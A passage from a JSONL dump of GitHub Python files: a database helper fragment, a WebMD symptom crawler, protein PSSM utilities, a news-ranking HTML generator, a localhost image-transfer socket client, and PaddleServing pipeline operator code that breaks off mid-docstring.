cursor.execute(f\"DELETE FROM alex_rocha.{tabela} WHERE id = {id}\")\n conn.commit()\n\n if cursor.rowcount == 1:\n return True\n else:\n return False\n","repo_name":"AllexRocha/teste2","sub_path":"Projeto_cadUni/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14903532195","text":"'''\nCreated on Feb 15, 2016\n\n@author: zuozhi\n'''\n\nfrom bs4 import BeautifulSoup\nimport crawler_utils\nimport traceback\n\ndef getWebMDSymptomURLs():\n yield (\"a_z\", \"http://symptomchecker.webmd.com/symptoms-a-z\")\n\n\ndef downloadMainPages(file_dict):\n save_file = \"./data/WebMD_symptoms/pages/webMD_symtoms_\"\n for (name, url) in getWebMDSymptomURLs():\n name = name.replace(\"/\", \":\")\n file_dict[save_file+name+\".html\"] = url\n crawler_utils.downloadFiles(file_dict)\n\n\ndef parseWebMDSymptoms(responseStr, results):\n soup = BeautifulSoup(responseStr, \"html.parser\")\n for i in range(65, 91):\n try:\n alpha = soup.find(id = \"list_\"+chr(i))\n for child in alpha.descendants:\n if child.name == \"a\":\n results[str(child.string)] = \"http://symptomchecker.webmd.com/\"+str(child[\"href\"])\n except:\n traceback.print_exc() \n\n\ndef parsePages(pages, results):\n crawler_utils.parseLinks(pages, parseWebMDSymptoms, results) \n\n\ndef saveTitles(titles):\n with open(\"./data/WebMD_symptoms/WebMD_symptoms.txt\",\"w\", encoding = 'utf-8') as keywordsFile:\n for key in titles:\n print(key, file = keywordsFile)\n\n\n\ndef downloadLinks(file_dict, results):\n save_file = \"./data/WebMD_symptoms/links/\"\n link_dict = {}\n for (name, url) in results.items():\n name = name.replace(\"/\", \":\")\n link_dict[save_file+name+\".html\"] = url\n crawler_utils.downloadFiles(link_dict)\n\n\n\n\n\n\nif __name__ == \"__main__\":\n file_dict = {}\n results = {}\n # you can comment out any function as you need\n \n # download the main web pages\n downloadMainPages(file_dict)\n \n \n # choose one parsePages from below\n # parse the web pages from the files_dict if you download again\n parsePages(file_dict.keys(), results)\n \n # parse the web pages from local files if you already download them\n #parsePages(crawler_utils.getFileList(\"./data/WebMD_drugs/pages/\"), results)\n \n # save the disease names to a file\n saveTitles(results.keys())\n \n \n # download the links from main pages, using parsed result\n downloadLinks(file_dict, results)","repo_name":"UCIaviku/MedExtract","sub_path":"med_crawler/WebMD_symptoms_crawler.py","file_name":"WebMD_symptoms_crawler.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"5215316967","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 1 10:06:49 2018\n\n@author: weizhong\n\"\"\"\n\nfrom Bio.Blast.Applications import NcbipsiblastCommandline\nfrom Bio import SeqIO\nimport scipy.io as sio\nimport csv\nimport os\nimport numpy as np\nimport math\n\nblosum = sio.loadmat('e:/repoes/jci/bio/blosum.mat')\nblosumMatrix = blosum['blosum62']\nalphabet = 'ARNDCQEGHILKMFPSTWYVBZX*'\n\n# generate the PSSM file of each protein in fastafile by psi-blast\ndef getPSSMFiles(fastafile,outfileprefix='',dbName='swissprot'):\n \n inputfile = 'input.fasta'\n \n for seq_record in SeqIO.parse(fastafile, 'fasta'):\n print('\\r{} '.format(seq_record.id),end=\"\")\n # psi-blast input file\n if os.path.exists(inputfile):\n os.remove( inputfile)\n SeqIO.write( seq_record, inputfile, 'fasta')\n \n # psi-blast output file\n pssmfile = \"\".join( (outfileprefix, seq_record.id, '.txt'))\n if os.path.exists(pssmfile):\n os.remove( pssmfile)\n \n # psi-blast\n psiblast_cline = NcbipsiblastCommandline( query = inputfile, db=dbName, evalue=0.001,\n num_iterations=3, out_ascii_pssm=pssmfile)\n stdout,stderr=psiblast_cline()\n \n # If seq_record does not have pssm, generating it by blosum62 Matrix\n if not os.path.exists(pssmfile):\n print('\\r{} does not have pssm'. format(seq_record.id))\n with open(pssmfile,'w') as pw:\n pw.writelines(\" \\n\")\n pw.writelines(\"last position-specific scoring matrix computed, weighted \\n\")\n pw.writelines(alphabet + '\\n')\n s = seq_record.seq\n \n k = 1\n for aa in s:\n line=str(k) + ' ' + aa + ' '\n k += 1\n idx = alphabet.find(aa)\n col = 0\n for a in alphabet:\n line = line + str( blosumMatrix[idx][col]) + ' '\n col += 1\n line = line + '\\n'\n pw.writelines(line)\n \n# save each PSSM file as CSV file format. Each element is string \ndef savePSSMFile2CSV(pssmfilesdir, csvfilesdir):\n listfile = os.listdir(pssmfilesdir)\n for eachfile in listfile:\n filename = eachfile.split('.')\n pssm=[]\n \n # read PSSM from ascii_pssm file\n with open(pssmfilesdir + '/' + eachfile, 'r') as pf:\n count = 0\n for eachline in pf:\n count += 1\n if count <=3:\n continue\n if not len(eachline.strip()):\n break\n line = eachline.split()\n pssm.append(line[2:22])\n \n # write PSSM to csv file\n with open(csvfilesdir + '/' + filename[0] + '.csv', 'w') as csvfile:\n cfw = csv.writer( csvfile)\n cfw.writerows(pssm)\n\n# read numeric matrix from csv file \ndef readPSSMFromCSVFile(filename):\n pssm=[]\n with open( filename, 'r') as csvfile:\n cfr = csv.reader(csvfile)\n for row in cfr:\n r = []\n for m in row:\n r.append(eval(m))\n pssm.append(r)\n return pssm\n\n# get a dict pssm \ndef getPSSMMatFileFromFastafile( dirname, fastafile, matfilename, dbName='swissprot'):\n # generate the PSSM file of each protein in fastafile by psi-blast\n getPSSMFiles(fastafile,dbName)\n \n # save each PSSM file as CSV file format. Each element is string\n savePSSMFile2CSV(dirname, dirname)\n \n # geerate PSSM \n pssm = {} \n listf = os.listdir(dirname)\n for file in listf:\n #If file is csv format\n filename = file.split('.')\n if 'csv' in file:\n p=readPSSMFromCSVFile(dirname + '/' + file)\n pssm[filename[0]] = p\n \n \n # save to mat file\n sio.savemat(matfilename, pssm)\n\n# read pssm file, return numpy.array\ndef readPSSMFile(filename):\n pssm = []\n with open(filename, 'r') as fr:\n ls = fr.readlines()\n for ln in ls[3:]:\n t = []\n ln = ln.strip()\n if not len(ln):\n break\n strval = ln.split()\n \n for i in range(2, 22):\n t.append(1/(1 + math.exp(-eval(strval[i]))))\n \n pssm.append(t)\n return np.array(pssm)\n\n# 读filenmae文件中的PSSM矩阵,序列最大长度maxlen,如果序列长度小于maxlen,则填充-10\n# 以-2.95作为序列开始标志(原因:1/(1+exp(2.95) ~ 0.05\n# 以11为序列结束标志\n# 由于填充了【开始】,【结束】标志,其实最多只从PSSM序列中读取maxlen-2行\ndef create_padding_pssm_mask(filename, padding_position=\"post\", maxlen=1000):\n pssm = []\n startln = np.ones((20,)) * (2.95)\n endln = np.ones((20,)) * (-11)\n paddln = np.ones((20,)) * (10)\n \n # 把PSSM矩阵读到pssm列表\n with open(filename, 'r') as fr:\n ls = fr.readlines()\n for ln in ls[3:]:\n t = []\n ln = ln.strip()\n if not len(ln):\n break\n strval = ln.split()\n \n for i in range(2, 22):\n t.append(-eval(strval[i]))\n \n pssm.append(t)\n \n # 截取maxlen行,或填充到maxlen行\n padding_pssm = []\n mask = []\n if len(pssm) >= maxlen-2: # 不要填充\n padding_pssm.append(startln) \n padding_pssm += pssm[:maxlen-2]\n padding_pssm.append(endln)\n mask = [0 for _ in range(maxlen)]\n else: # 需要填充\n # 计算要填充的行数\n n = maxlen - len(pssm) - 2\n if padding_position == \"post\":\n padding_pssm.append(startln)\n padding_pssm = padding_pssm + pssm\n padding_pssm.append(endln)\n for _ in range(n):\n padding_pssm.append(paddln)\n mask = [0 for _ in range(len(pssm) + 2)] + [1 for _ in range(n)]\n elif padding_position == \"pre\":\n for _ in range(n):\n padding_pssm.append(paddln)\n padding_pssm.append(startln)\n padding_pssm = padding_pssm + pssm\n padding_pssm.append(endln)\n mask = [1 for _ in range(n)] + [0 for _ in range(len(pssm) + 2)]\n return 1/(1 + np.exp(padding_pssm)), np.array(mask)\n \n \nfastafile = 'e:/Repoes/PDNA_CNN/PDNA_Data/TargetDNA/PDNA-543_sequence.fasta'\noutdir = 'e:/Repoes/PDNA_CNN/PDNA_Data/PDNA543_PSSM/'\ngetPSSMFiles(fastafile, outdir)\n#x,mask=create_padding_pssm_mask(\"E:/Repoes/Enzyme/pssm/test/P0DKX6.txt\", maxlen=700)\n\n","repo_name":"javafalcon/jci","sub_path":"bio/ncbi.py","file_name":"ncbi.py","file_ext":"py","file_size_in_byte":6763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30073445441","text":"#!/usr/bin/env python\n# coding=utf-8\n\n# Local imports\nfrom config import DBPATH, LINKEXPIRE, LINKFRESH, OUTPUTDIR, \\\n ARTICLES_FRONT, SOURCE_URLS, DISQUS, PENALIZE_N, \\\n MAINURL\n# Library imports\nfrom jinja2 import Environment, PackageLoader\nimport os\nimport sqlite3\nimport time\nimport dateutil.parser\nimport datetime\nimport calendar\nfrom shutil import copyfile\nfrom urlparse import urlparse\nfrom math import log\nimport re\n\n__author__ = \"José María Mateos\"\n__license__ = \"GPL\"\n\ndef get_articles():\n \"\"\"\n Returns the articles currently in the database. Now that we are\n at it, it also returns the age of each article, in seconds, for\n the aging algorithm (a simple linear function), instead of the \n original article date, which we won't need anymore at this point.\n Returns a list of [id, url, title, score, age].\n \"\"\"\n conn = sqlite3.connect(DBPATH)\n c = conn.cursor()\n q1 = conn.execute(\"\"\"SELECT id, url, title, score, datetime\n FROM current\"\"\")\n rows = [list(x) for x in q1] # Get every entry into a list,\n # so it can be modified.\n now = time.mktime(datetime.datetime.utctimetuple(datetime.datetime.now()))\n # Put age instead of date.\n for i in range(len(rows)): \n tmp1 = dateutil.parser.parse(rows[i][4])\n itemdate = calendar.timegm(tmp1.timetuple())\n age = now - itemdate\n rows[i][4] = age\n conn.close()\n return rows\n \ndef get_top_level(url):\n \"\"\"\n Returns the top-level domain for this URL.\n For instance, well.blogs.nytimes.com -> nytimes.com.\n \"\"\"\n domain = urlparse(url)\n domain = domain.netloc\n dots_idx = [m.start() for m in re.finditer('\\\\.', domain)]\n if (len(dots_idx) >= 2):\n return domain[dots_idx[-2] + 1:]\n else:\n return domain\n \ndef get_normalization_factor(articles, penalize_length):\n \"\"\"\n Returns the mean score per site, for normalization purposes.\n May use a term for length penalization, increasing the median\n value by log(number_articles) per site. In effect, that causes\n that sites that publish more quantity need also more quality\n to appear at the top of the ranking. True by default.\n \"\"\"\n sites_score = {}\n for x in articles:\n url = x[1]\n site = get_top_level(url)\n if not site in sites_score:\n sites_score[site] = [x[3]]\n else:\n sites_score[site] += [x[3]]\n \n # Compute the average\n for k in sites_score:\n factor = sum(sites_score[k]) / float(len(sites_score[k]))\n # Also use the log of the maximum score\n factor /= log(max(sites_score[k]) + 1)\n if penalize_length:\n sites_score[k] = factor * log(len(sites_score[k]) + 1)\n else:\n sites_score[k] = factor\n \n return(sites_score)\n \ndef get_name(names, url):\n \"\"\"\n Return the source name from the names dictionary using the url,\n or the top-level domain if not present in the dictionary. This\n function is used to ensure that the HTML page can be generated,\n even after changing SOURCE_URLS in a way that old articles in the\n database do not match any of the current source names.\n \"\"\"\n site = get_top_level(url)\n if site in names:\n return names[site]\n else:\n return site\n\ndef get_age_modifier(age):\n \"\"\"\n Returns a linear score modifier depending on the age of the link. \n \"\"\"\n if age < LINKFRESH:\n return 1.0\n else:\n return (LINKEXPIRE - age + LINKFRESH) / float(LINKEXPIRE)\n\ndef get_pagefile_from_title(title):\n \"\"\"\n Returns an filename in the form: words-from-the-article-title \n in order to create pages for single articles for the commenting\n system.\n \"\"\"\n title = title.lower()\n title = re.sub(r\"[^a-z0-9 ]\", \"\", title)\n title = title.replace(\" \", \"-\")\n return(\"/pages/\" + title + \".html\")\n\nif __name__ == \"__main__\":\n # Create the output dir if it does not exist.\n if not os.path.isdir(OUTPUTDIR):\n os.mkdir(OUTPUTDIR)\n # Create the output dir for the article pages, as well\n artdir = OUTPUTDIR + \"/pages/\"\n if not os.path.isdir(artdir):\n os.mkdir(artdir) \n \n # Get the template for index.html\n env = Environment(loader = PackageLoader('html_generator', \\\n 'templates'))\n tindex = env.get_template('index.html')\n \n # Create a lookup table for the titles of the sources.\n names = dict((get_top_level(x[0]), x[2]) for x in SOURCE_URLS)\n \n # Obtain the articles from the database and create a dictionary\n # with them after aging, factoring and sorting them so we have\n # a more or less coherent rank.\n articles = get_articles()\n normfactors = get_normalization_factor(articles, PENALIZE_N)\n for article in articles:\n age = article[4]\n url = article[1]\n agefactor = get_age_modifier(age)\n domain = get_top_level(url)\n article[3] = article[3] * agefactor / normfactors[domain]\n \n articles.sort(key = lambda x: x[3], reverse = True)\n articles = articles[:ARTICLES_FRONT]\n \n # Normalize the score for presentation\n scores = [x[3] for x in articles]\n max_score = max(scores)\n for i in xrange(len(articles)):\n articles[i][3] = \"%.1f %%\" % (articles[i][3] / max_score * 100)\n \n template_values = {}\n links = [{\"url\": x[1], \"title\": x[2], \\\n \"sourcename\": get_name(names, x[1]), \\\n \"score\": x[3], \"qtitle\": x[2].replace(' ', '+'), \\\n \"singlepage\": get_pagefile_from_title(x[2])[1:]} \\\n for x in articles]\n template_values['links'] = links\n template_values['DISQUS'] = DISQUS\n template_values['MAINURL'] = MAINURL\n rendered_index = tindex.render(template_values)\n # Save to output dir\n f = open(OUTPUTDIR + \"/index.html\", \"w\")\n f.write(rendered_index.encode(\"utf-8\"))\n f.close()\n # Copy the CSS file\n copyfile(\"styles/style.css\", OUTPUTDIR + \"/style.css\")\n \n # Create individual pages.\n single_template_values = {}\n tpage = env.get_template('single_page.html')\n for entry in articles:\n single_template_values = entry[2]\n single_template_values = {\"url\": entry[1], \n \"title\": entry[2], \\\n \"sourcename\": get_name(names, entry[1]), \\\n \"score\": entry[3], \\\n \"qtitle\": entry[2].replace(' ', '+'), \\\n \"DISQUS\": DISQUS, \\\n \"DISQUSID\" : str(DISQUS) + str(entry[0])}\n rendered_page = tpage.render(single_template_values)\n f = open(OUTPUTDIR + get_pagefile_from_title(entry[2]), \"w\")\n f.write(rendered_page.encode(\"utf-8\"))\n f.close()\n \n \n","repo_name":"rinze/reranker","sub_path":"html_generator.py","file_name":"html_generator.py","file_ext":"py","file_size_in_byte":6925,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"1619636884","text":"# -- coding: utf-8 --\r\nimport os\r\nimport socket\r\nimport sys\r\n\r\ndef File_Transfer(file_path, file_extension):\r\n # 연결할 서버의 네트워크 정보 정의\r\n TCP_IP = 'localhost'\r\n TCP_PORT = 9999\r\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as clientSocket:\r\n clientSocket.connect((TCP_IP, TCP_PORT)) # 소켓을 서버에 지정된 포트로 연결\r\n clientSocket.send(file_extension.encode('utf-8'))\r\n with open(file_path, 'rb') as file: # 파일 오픈\r\n data = file.read(1024) # 첫 1024 바이트를 읽음\r\n while data:\r\n clientSocket.send(data)\r\n data = file.read(1024)\r\n clientSocket.shutdown(socket.SHUT_WR)\r\n # 서버로 부터 결과를 받음\r\n result = (clientSocket.recv(30)).decode('utf-8')\r\n print(result)\r\n\r\nif __name__ == '__main__':\r\n temp_path = 'C:/C#/NP/image'\r\n if os.path.exists('C:/C#/NP/image'):\r\n for file_name in os.listdir(temp_path):\r\n file_path = os.path.join(temp_path, file_name).replace('\\\\', '/')\r\n file_extension = os.path.splitext(file_path)[1] # 확장자 추출 \r\n # 파일 전송하는 부분\r\n File_Transfer(file_path, file_extension)\r\n\r\n\r\n","repo_name":"takhyun12/CNN-based-Image-Classification","sub_path":"client_ui.py","file_name":"client_ui.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"29355145500","text":"from time import time as _time\nimport time\nimport threading\nimport multiprocessing\nfrom paddle_serving_client import Client\nfrom concurrent import futures\nimport logging\nimport func_timeout\nimport os\nimport sys\nimport collections\nimport numpy as np\nimport json\nfrom numpy import *\nfrom io import BytesIO\nif sys.version_info.major == 2:\n import Queue\nelif sys.version_info.major == 3:\n import queue as Queue\nelse:\n raise Exception(\"Error Python version\")\n\nfrom .error_catch import ErrorCatch, CustomException, CustomExceptionCode, ParamChecker, ParamVerify\ncheck_feed_dict = ParamVerify.check_feed_dict\ncheck_fetch_list = ParamVerify.check_fetch_list\nfrom .proto import pipeline_service_pb2\nfrom .channel import (ThreadChannel, ProcessChannel, ChannelData,\n ChannelDataType, ChannelStopError, ChannelTimeoutError)\nfrom .error_catch import ProductErrCode\nfrom .error_catch import CustomExceptionCode as ChannelDataErrcode\nfrom .util import NameGenerator\nfrom .profiler import UnsafeTimeProfiler as TimeProfiler\nfrom . import local_service_handler\nfrom .pipeline_client import PipelineClient as PPClient\nfrom paddle_serving_server.util import kill_stop_process_by_pid\n\n_LOGGER = logging.getLogger(__name__)\n_op_name_gen = NameGenerator(\"Op\")\n\n# data type of tensor to numpy_data\n_TENSOR_DTYPE_2_NUMPY_DATA_DTYPE = {\n 0: \"int64\", # VarType.INT64\n 1: \"float32\", # VarType.FP32\n 2: \"int32\", # VarType.INT32\n 3: \"float64\", # VarType.FP64\n 4: \"int16\", # VarType.int16\n 5: \"float16\", # VarType.FP32\n 6: \"uint16\", # VarType.BF16\n 7: \"uint8\", # VarType.UINT8\n 8: \"int8\", # VarType.INT8\n 9: \"bool\", # VarType.BOOL\n 10: \"complex64\", # VarType.COMPLEX64\n 11: \"complex128\", # VarType.COMPLEX128\n 12: \"string\", # load by numpy\n 13: \"bytes\", # load by numpy\n}\n\n\nclass Op(object):\n def __init__(self,\n name=None,\n input_ops=[],\n server_endpoints=None,\n fetch_list=None,\n client_config=None,\n client_type=None,\n concurrency=None,\n timeout=None,\n retry=0,\n batch_size=None,\n auto_batching_timeout=None,\n local_service_handler=None,\n jump_to_ops=[]):\n # In __init__, all the parameters are just saved and Op is not initialized\n if name is None:\n name = _op_name_gen.next()\n self.name = name # to identify the type of OP, it must be globally unique\n self.concurrency = concurrency # amount of concurrency\n self.set_input_ops(input_ops)\n self.set_jump_to_ops(jump_to_ops)\n\n self._local_service_handler = local_service_handler\n self._server_endpoints = server_endpoints\n self._fetch_names = fetch_list\n self._client_config = client_config\n self.client_type = client_type\n self._timeout = timeout\n self._retry = max(1, retry)\n self._batch_size = batch_size\n self._auto_batching_timeout = auto_batching_timeout\n self._use_encryption_model = None\n self._encryption_key = \"\"\n\n self._input = None\n self._outputs = []\n\n self._server_use_profile = False\n self._tracer = None\n\n # for grpc_pipeline predict mode. False, string key/val; True, tensor format.\n self._pack_tensor_format = False\n\n # only for thread op\n self._for_init_op_lock = threading.Lock()\n self._for_close_op_lock = threading.Lock()\n self._succ_init_op = False\n self._succ_close_op = False\n self.dynamic_shape_info = {}\n self.set_dynamic_shape_info()\n\n def set_dynamic_shape_info(self):\n \"\"\"\n when opening tensorrt(configure in config.yml) and each time the input shape\n for inferring is different, using this method for configuring tensorrt\n dynamic shape to infer in each op model\n \"\"\"\n pass\n\n # for feed/fetch dict cehck\n @staticmethod\n def get_feed_fetch_list(client):\n from paddle_serving_app.local_predict import LocalPredictor\n if isinstance(client, Client):\n feed_names = client.get_feed_names()\n fetch_names = client.get_fetch_names()\n if isinstance(client, LocalPredictor):\n feed_names = client.feed_names_\n fetch_names = client.fetch_names_\n return feed_names, fetch_names\n\n def init_from_dict(self, conf):\n \"\"\"\n Initializing one Op from config.yaml. If server_endpoints exist,\n which is remote RPC mode, otherwise it is local RPC mode. There\n are three types of predictios in local RPC mode, brpc, grpc and\n local_predictor.\n\n Args:\n conf: config.yaml\n\n Returns:\n \"\"\"\n if self.concurrency is None:\n self.concurrency = conf[\"concurrency\"]\n if self._retry is None:\n self._retry = conf[\"retry\"]\n if self._fetch_names is None:\n self._fetch_names = conf.get(\"fetch_list\")\n if self._client_config is None:\n self._client_config = conf.get(\"client_config\")\n if self._use_encryption_model is None:\n print(\"config use_encryption model here\",\n conf.get(\"use_encryption_model\"))\n self._use_encryption_model = conf.get(\"use_encryption_model\")\n if self._encryption_key is None or self._encryption_key == \"\":\n self._encryption_key = conf.get(\"encryption_key\")\n if self._timeout is None:\n self._timeout = conf[\"timeout\"]\n if self._timeout > 0:\n self._timeout = self._timeout / 1000.0\n else:\n self._timeout = -1\n\n if self._batch_size is None:\n self._batch_size = conf[\"batch_size\"]\n if self._auto_batching_timeout is None:\n self._auto_batching_timeout = conf[\"auto_batching_timeout\"]\n if self._auto_batching_timeout <= 0 or self._batch_size == 1:\n _LOGGER.debug(\n self._log(\n \"Because auto_batching_timeout <= 0 or batch_size == 1,\"\n \" set auto_batching_timeout to None.\"))\n self._auto_batching_timeout = None\n else:\n self._auto_batching_timeout = self._auto_batching_timeout / 1000.0\n\n self.model_config = None\n self.workdir = None\n self.thread_num = self.concurrency\n self.device_type = -1\n self.devices = \"\"\n self.mem_optim = False\n self.ir_optim = False\n self.precision = \"fp32\"\n self.use_mkldnn = False\n self.mkldnn_cache_capacity = 0\n self.mkldnn_op_list = None\n self.mkldnn_bf16_op_list = None\n self.min_subgraph_size = 3\n self.use_calib = False\n\n if self._server_endpoints is None:\n server_endpoints = conf.get(\"server_endpoints\", [])\n if len(server_endpoints) != 0:\n # remote service\n self.with_serving = True\n self._server_endpoints = server_endpoints\n self.client_type = conf[\"client_type\"]\n else:\n if self._local_service_handler is None:\n local_service_conf = conf.get(\"local_service_conf\")\n _LOGGER.info(\"local_service_conf: {}\".format(\n local_service_conf))\n self.model_config = local_service_conf.get(\"model_config\")\n self.client_type = local_service_conf.get(\"client_type\")\n self.workdir = local_service_conf.get(\"workdir\")\n self.thread_num = local_service_conf.get(\"thread_num\")\n self.device_type = local_service_conf.get(\"device_type\")\n self.devices = local_service_conf.get(\"devices\")\n self.mem_optim = local_service_conf.get(\"mem_optim\")\n self.ir_optim = local_service_conf.get(\"ir_optim\")\n self._fetch_names = local_service_conf.get(\"fetch_list\")\n self.precision = local_service_conf.get(\"precision\")\n self.use_calib = local_service_conf.get(\"use_calib\")\n self.use_mkldnn = local_service_conf.get(\"use_mkldnn\")\n self.mkldnn_cache_capacity = local_service_conf.get(\n \"mkldnn_cache_capacity\")\n self.mkldnn_op_list = local_service_conf.get(\n \"mkldnn_op_list\")\n self.mkldnn_bf16_op_list = local_service_conf.get(\n \"mkldnn_bf16_op_list\")\n self.min_subgraph_size = local_service_conf.get(\n \"min_subgraph_size\")\n\n if self.model_config is None:\n self.with_serving = False\n else:\n # local rpc service\n self.with_serving = True\n if self.client_type == \"brpc\" or self.client_type == \"grpc\":\n service_handler = local_service_handler.LocalServiceHandler(\n model_config=self.model_config,\n client_type=self.client_type,\n workdir=self.workdir,\n thread_num=self.thread_num,\n device_type=self.device_type,\n devices=self.devices,\n mem_optim=self.mem_optim,\n ir_optim=self.ir_optim,\n precision=self.precision,\n use_mkldnn=self.use_mkldnn,\n mkldnn_cache_capacity=self.\n mkldnn_cache_capacity,\n mkldnn_op_list=self.mkldnn_bf16_op_list,\n mkldnn_bf16_op_list=self.mkldnn_bf16_op_list,\n min_subgraph_size=self.min_subgraph_size,\n dynamic_shape_info=self.dynamic_shape_info,\n use_calib=self.use_calib)\n service_handler.prepare_server() # get fetch_list\n serivce_ports = service_handler.get_port_list()\n self._server_endpoints = [\n \"127.0.0.1:{}\".format(p) for p in serivce_ports\n ]\n if self._client_config is None:\n self._client_config = service_handler.get_client_config(\n )\n if self._fetch_names is None:\n self._fetch_names = service_handler.get_fetch_list(\n )\n elif self.client_type == \"local_predictor\":\n service_handler = local_service_handler.LocalServiceHandler(\n model_config=self.model_config,\n client_type=self.client_type,\n workdir=self.workdir,\n thread_num=self.thread_num,\n device_type=self.device_type,\n devices=self.devices,\n fetch_names=self._fetch_names,\n mem_optim=self.mem_optim,\n ir_optim=self.ir_optim,\n precision=self.precision,\n use_mkldnn=self.use_mkldnn,\n mkldnn_cache_capacity=self.\n mkldnn_cache_capacity,\n mkldnn_op_list=self.mkldnn_op_list,\n mkldnn_bf16_op_list=self.mkldnn_bf16_op_list,\n min_subgraph_size=self.min_subgraph_size,\n dynamic_shape_info=self.dynamic_shape_info,\n use_calib=self.use_calib)\n if self._client_config is None:\n self._client_config = service_handler.get_client_config(\n )\n self._local_service_handler = service_handler\n else:\n self.with_serving = True\n self._local_service_handler.prepare_server(\n ) # get fetch_list\n serivce_ports = self._local_service_handler.get_port_list()\n self._server_endpoints = [\n \"127.0.0.1:{}\".format(p) for p in serivce_ports\n ]\n if self._client_config is None:\n self._client_config = self._local_service_handler.get_client_config(\n )\n if self._fetch_names is None:\n self._fetch_names = self._local_service_handler.get_fetch_list(\n )\n else:\n self.with_serving = True\n\n if not isinstance(self, RequestOp) and not isinstance(self, ResponseOp):\n _LOGGER.info(\n self._log(\"\\n\\tinput_ops: {},\"\n \"\\n\\tserver_endpoints: {}\"\n \"\\n\\tfetch_list: {}\"\n \"\\n\\tclient_config: {}\"\n \"\\n\\tconcurrency: {},\"\n \"\\n\\ttimeout(s): {},\"\n \"\\n\\tretry: {},\"\n \"\\n\\tbatch_size: {},\"\n \"\\n\\tauto_batching_timeout(s): {}\".format(\n \", \".join([op.name for op in self._input_ops\n ]), self._server_endpoints,\n self._fetch_names, self._client_config,\n self.concurrency, self._timeout, self._retry,\n self._batch_size, self._auto_batching_timeout)))\n\n def launch_local_rpc_service(self):\n \"\"\"\n Launching multiple local rpc servers.\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n if self._local_service_handler is None:\n _LOGGER.warning(\n self._log(\"Failed to launch local rpc\"\n \" service: local_service_handler is None.\"))\n return\n port = self._local_service_handler.get_port_list()\n #if self._local_service_handler.client_type == \"local_predictor\":\n # _LOGGER.info(\"Op({}) use local predictor.\")\n # return\n self._local_service_handler.start_server()\n _LOGGER.info(\"Op({}) use local rpc service at port: {}\"\n .format(self.name, port))\n\n def use_default_auto_batching_config(self):\n \"\"\"\n Set the auto batching config default.\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n if self._batch_size != 1:\n _LOGGER.warning(\"Op({}) reset batch_size=1 (original: {})\"\n .format(self.name, self._batch_size))\n self._batch_size = 1\n if self._auto_batching_timeout != None:\n _LOGGER.warning(\n \"Op({}) reset auto_batching_timeout=None (original: {})\"\n .format(self.name, self._auto_batching_timeout))\n self._auto_batching_timeout = None\n\n def use_profiler(self, use_profile):\n self._server_use_profile = use_profile\n\n def set_tracer(self, tracer):\n self._tracer = tracer\n\n def set_use_prometheus(self, use_prometheus):\n self._use_prometheus = use_prometheus\n\n def init_client(self, client_config, server_endpoints):\n \"\"\"\n Initialize the client object. There are three types of clients, brpc,\n grpc and local_predictor. In grpc or brpc mode, the client connects \n endpoints.\n\n Args:\n client_config: client config info\n server_endpoints: server IP/Port list.\n\n Returns:\n client: client object.\n \"\"\"\n if self.with_serving == False:\n _LOGGER.info(\"Op({}) has no client (and it also do not \"\n \"run the process function)\".format(self.name))\n return None\n if self.client_type == 'brpc':\n client = Client()\n client.load_client_config(client_config)\n self.right_feed_names, self.right_fetch_names = self.get_feed_fetch_list(\n client)\n elif self.client_type == 'pipeline_grpc':\n client = PPClient()\n elif self.client_type == 'local_predictor':\n if self.local_predictor is None:\n raise ValueError(\"local predictor not yet created\")\n client = self.local_predictor\n self.right_feed_names, self.right_fetch_names = self.get_feed_fetch_list(\n client)\n else:\n raise ValueError(\"Failed to init client: unknow client \"\n \"type {}\".format(self.client_type))\n if self._fetch_names is None:\n self._fetch_names = client.fetch_names_\n _LOGGER.info(\"Op({}) has no fetch name set. So fetch all vars\")\n if self.client_type != \"local_predictor\":\n if self._use_encryption_model is None or self._use_encryption_model is False:\n client.connect(server_endpoints)\n else:\n print(\"connect to encryption rpc client\")\n client.use_key(self._encryption_key)\n client.connect(server_endpoints, encryption=True)\n _LOGGER.info(\"init_client, feed_list:{}, fetch_list: {}\".format(\n self.right_feed_names, self.right_fetch_names))\n return client\n\n def get_input_ops(self):\n return self._input_ops\n\n def set_input_ops(self, ops):\n \"\"\"\n Set input ops.Each op have many input ops, but only one input\n channel.\n\n Args:\n ops: op list\n\n Returns:\n None.\n \"\"\"\n if not isinstance(ops, list):\n ops = [] if ops is None else [ops]\n self._input_ops = []\n for op in ops:\n if not isinstance(op, Op):\n _LOGGER.critical(\n self._log(\"Failed to set input_ops: input op \"\n \"must be Op type, not {}\".format(type(op))))\n os._exit(-1)\n self._input_ops.append(op)\n\n def set_pack_tensor_format(self, is_tensor_format=False):\n self._pack_tensor_format = is_tensor_format\n\n def get_jump_to_ops(self):\n return self._jump_to_ops\n\n def set_jump_to_ops(self, ops):\n \"\"\"\n Set jump to ops, then, this op can send channeldata to output channel.\n\n Args:\n ops: op list to be jumpped\n\n Returns:\n None.\n \"\"\"\n if not isinstance(ops, list):\n ops = [] if ops is None else [ops]\n\n self._jump_to_ops = []\n for op in ops:\n if not isinstance(op, Op):\n _LOGGER.critical(\n self._log(\"Failed to set input_ops: input op \"\n \"must be Op type, not {}\".format(type(op))))\n os._exit(-1)\n self._jump_to_ops.append(op)\n\n def is_jump_op(self):\n \"\"\"\n The op has _jump_to_ops members or not.\n\n Args:\n None\n\n Returns:\n True or False\n \"\"\"\n return len(self._jump_to_ops) > 0\n\n def check_jumping(self, input_data):\n \"\"\"\n Check whether to send data to jump ops.WhileOp needs to rewrite \n this interface. this function returns False default.\n \n Args:\n input_data: input data to be preprocessed\n\n Returns:\n True, send data to the output channel of jump ops\n False, send data to output channel.\n \"\"\"\n return False\n\n def get_output_channels_of_jump_ops(self):\n \"\"\"\n Get output channels of jump ops\n\n Args:\n None\n\n Returns:\n list of 